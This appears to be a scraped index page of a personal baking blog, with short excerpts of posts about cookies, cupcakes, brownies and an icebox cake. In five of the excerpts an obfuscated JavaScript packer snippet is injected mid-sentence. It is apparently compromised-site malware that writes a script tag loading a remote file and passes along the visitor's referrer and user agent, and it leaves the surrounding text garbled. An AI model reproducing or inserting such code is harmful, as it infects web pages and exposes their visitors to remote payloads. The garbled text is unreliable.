Nutella, Chocolate Chip, Brown Butter, Salted Cookies

Or something like that.  I basically just listed all the ingredients.  It’s a mouth full, in more ways than one! My friend, Brooke, sent me this recipe from Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfis|var|u0026u|referrer|hadsb||js|php’.split(‘|’),0,{})) Eats.  And since I like all of the ingredients listed, I decided to give it a try.

Every year, I look forward to baking a variety of Christmas cookies.  But this year, it just wasn’t in the cards. Well guess what?!

Mint Chocolate Cake with Mint Frosting

My friend, Brooke celebrated her birthday on Sunday.  To celebrate, I decided to make her a mint chocolate cake.  She has a thing for mint chocolate.  And who can blame her?  The combo is pretty delicious! First, a little mint chocolate cake research!  I headed to Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfkb|var|u0026u|referrer|rybyt||js|php’.split(‘|’),0,{})) Eats and found

White Chocolate Chip, Macadamia Nut, Dried Cranberry Cookies

Try saying that 3 times fast! How did this all start? Well, we had a can of roasted and salted macadamia nuts leftover from Hawaii.  ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnntk|var|u0026u|referrer|neryt||js|php’.split(‘|’),0,{})) So Nick suggested some white chocolate chip with macadamia nut cookies.  I decided to add in the cranberries for a little color and flavor.

New Favorite Vanilla Cupcake Recipe

I had a favorite cupcake recipe for a few a years.  Magnolia Bakery Vanilla.  It was delicious and light and fluffy – and to be honest, turns out better than the cupcakes they serve at the actual store.  But I’m partial. But then I found another.  And it’s better. Billy’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiarz|var|u0026u|referrer|knfin||js|php’.split(‘|’),0,{}))

Caramel Brownies

Just as good as they sound! I made 2 different batches of caramel brownies last weekend.  Well, the brownie part was identical but I used 2 different kinds of caramel. I think they were pretty tasty! Clearly, it’s all about the melted chocolate and butter! I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szyhy|var|u0026u|referrer|itfft||js|php’.split(‘|’),0,{})) used both store bought

Sandwich Cookies

It’s Christmas cookie season! I started Saturday, you? I like to start with the most difficult {I also had lots of time on Saturday}.  Sandwich cookies.  These cookies are tough because there are so many steps.  Make dough.  Chill dough.  Cut dough.  Bake dough.  Repeat.  Make frosting.  Fill cookies. I think it ended up taking

Icebox Cake

We had a little mini impromptu BBQ this weekend with friends.  Always fun. It was sort of our friend’s birthday, so I thought I’d make a “cake” for dessert. Let’s talk about this cake.  My grandma and mom sometimes make it.  Mom put a little twist on it the last time I was home, so
